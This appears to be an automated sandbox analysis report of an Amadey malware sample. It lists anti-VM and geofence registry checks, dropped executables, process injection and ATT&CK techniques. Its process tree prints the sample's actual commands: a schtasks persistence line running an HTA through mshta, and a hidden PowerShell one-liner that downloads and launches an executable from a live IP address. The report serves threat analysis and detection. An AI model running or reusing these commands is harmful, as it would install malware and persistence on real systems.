amadey | 500f210b46e13fd65ec90391c4c9ed18601405c73c0eaa5367866c6ca93bd285

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	6040	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6040	powershell.exe

Downloads MZ/PE file 3 IoCs

flow	pid	Process
104	4848	futors.exe
14	6040	powershell.exe
88	4428	rapes.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Control Panel\International\Geo\Nation	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Control Panel\International\Geo\Nation	amnew.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Control Panel\International\Geo\Nation	futors.exe

Executes dropped EXE 7 IoCs

pid	Process
1516	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE
4428	rapes.exe
2468	rapes.exe
4192	amnew.exe
4848	futors.exe
5164	joker1221.exe
3572	legendarik.exe

Identifies Wine through registry keys 2 TTPs 3 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Software\Wine	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE
Key opened	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Software\Wine	rapes.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
1516	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE
4428	rapes.exe
2468	rapes.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5164 set thread context of 4976	5164	joker1221.exe	119
PID 3572 set thread context of 2452	3572	legendarik.exe	123

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\futors.job	amnew.exe
File created	C:\Windows\Tasks\rapes.job	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	amnew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	futors.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3020	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
6040	powershell.exe
6040	powershell.exe
1516	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE
1516	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE
4428	rapes.exe
4428	rapes.exe
2468	rapes.exe
2468	rapes.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	6040	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
2836	random.exe
2836	random.exe
2836	random.exe
4192	amnew.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2836	random.exe
2836	random.exe
2836	random.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 5984	2836	random.exe	86
PID 2836 wrote to memory of 5984	2836	random.exe	86
PID 2836 wrote to memory of 5984	2836	random.exe	86
PID 2836 wrote to memory of 788	2836	random.exe	87
PID 2836 wrote to memory of 788	2836	random.exe	87
PID 2836 wrote to memory of 788	2836	random.exe	87
PID 5984 wrote to memory of 3020	5984	cmd.exe	89
PID 5984 wrote to memory of 3020	5984	cmd.exe	89
PID 5984 wrote to memory of 3020	5984	cmd.exe	89
PID 788 wrote to memory of 6040	788	mshta.exe	92
PID 788 wrote to memory of 6040	788	mshta.exe	92
PID 788 wrote to memory of 6040	788	mshta.exe	92
PID 6040 wrote to memory of 1516	6040	powershell.exe	112
PID 6040 wrote to memory of 1516	6040	powershell.exe	112
PID 6040 wrote to memory of 1516	6040	powershell.exe	112
PID 1516 wrote to memory of 4428	1516	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE	113
PID 1516 wrote to memory of 4428	1516	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE	113
PID 1516 wrote to memory of 4428	1516	TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE	113
PID 4428 wrote to memory of 4192	4428	rapes.exe	115
PID 4428 wrote to memory of 4192	4428	rapes.exe	115
PID 4428 wrote to memory of 4192	4428	rapes.exe	115
PID 4192 wrote to memory of 4848	4192	amnew.exe	116
PID 4192 wrote to memory of 4848	4192	amnew.exe	116
PID 4192 wrote to memory of 4848	4192	amnew.exe	116
PID 4848 wrote to memory of 5164	4848	futors.exe	117
PID 4848 wrote to memory of 5164	4848	futors.exe	117
PID 5164 wrote to memory of 2896	5164	joker1221.exe	118
PID 5164 wrote to memory of 2896	5164	joker1221.exe	118
PID 5164 wrote to memory of 2896	5164	joker1221.exe	118
PID 5164 wrote to memory of 4976	5164	joker1221.exe	119
PID 5164 wrote to memory of 4976	5164	joker1221.exe	119
PID 5164 wrote to memory of 4976	5164	joker1221.exe	119
PID 5164 wrote to memory of 4976	5164	joker1221.exe	119
PID 5164 wrote to memory of 4976	5164	joker1221.exe	119
PID 5164 wrote to memory of 4976	5164	joker1221.exe	119
PID 5164 wrote to memory of 4976	5164	joker1221.exe	119
PID 5164 wrote to memory of 4976	5164	joker1221.exe	119
PID 5164 wrote to memory of 4976	5164	joker1221.exe	119
PID 4848 wrote to memory of 3572	4848	futors.exe	120
PID 4848 wrote to memory of 3572	4848	futors.exe	120
PID 3572 wrote to memory of 768	3572	legendarik.exe	121
PID 3572 wrote to memory of 768	3572	legendarik.exe	121
PID 3572 wrote to memory of 768	3572	legendarik.exe	121
PID 3572 wrote to memory of 3604	3572	legendarik.exe	122
PID 3572 wrote to memory of 3604	3572	legendarik.exe	122
PID 3572 wrote to memory of 3604	3572	legendarik.exe	122
PID 3572 wrote to memory of 2452	3572	legendarik.exe	123
PID 3572 wrote to memory of 2452	3572	legendarik.exe	123
PID 3572 wrote to memory of 2452	3572	legendarik.exe	123
PID 3572 wrote to memory of 2452	3572	legendarik.exe	123
PID 3572 wrote to memory of 2452	3572	legendarik.exe	123
PID 3572 wrote to memory of 2452	3572	legendarik.exe	123
PID 3572 wrote to memory of 2452	3572	legendarik.exe	123
PID 3572 wrote to memory of 2452	3572	legendarik.exe	123
PID 3572 wrote to memory of 2452	3572	legendarik.exe	123

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn mLG3mmaAUDE /tr "mshta C:\Users\Admin\AppData\Local\Temp\oFjGg4UJ1.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5984
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn mLG3mmaAUDE /tr "mshta C:\Users\Admin\AppData\Local\Temp\oFjGg4UJ1.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3020
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\oFjGg4UJ1.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:788
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'HCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:6040
  - - C:\Users\Admin\AppData\Local\TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE
      "C:\Users\Admin\AppData\Local\TempHCHGNMHOOK9TBUUOC6BYWI6BSGFLWXCV.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1516
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4428
      - C:\Users\Admin\AppData\Local\Temp\10534890101\amnew.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10534890101\amnew.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:4192
        
        C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
        
        "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
        7⤵
        Downloads MZ/PE file
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4848
        
        C:\Users\Admin\AppData\Local\Temp\10028410101\joker1221.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10028410101\joker1221.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:5164
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        
        PID:2896
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:4976
        
        C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:3572
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        
        PID:768
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        
        PID:3604
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:2452

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2468

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion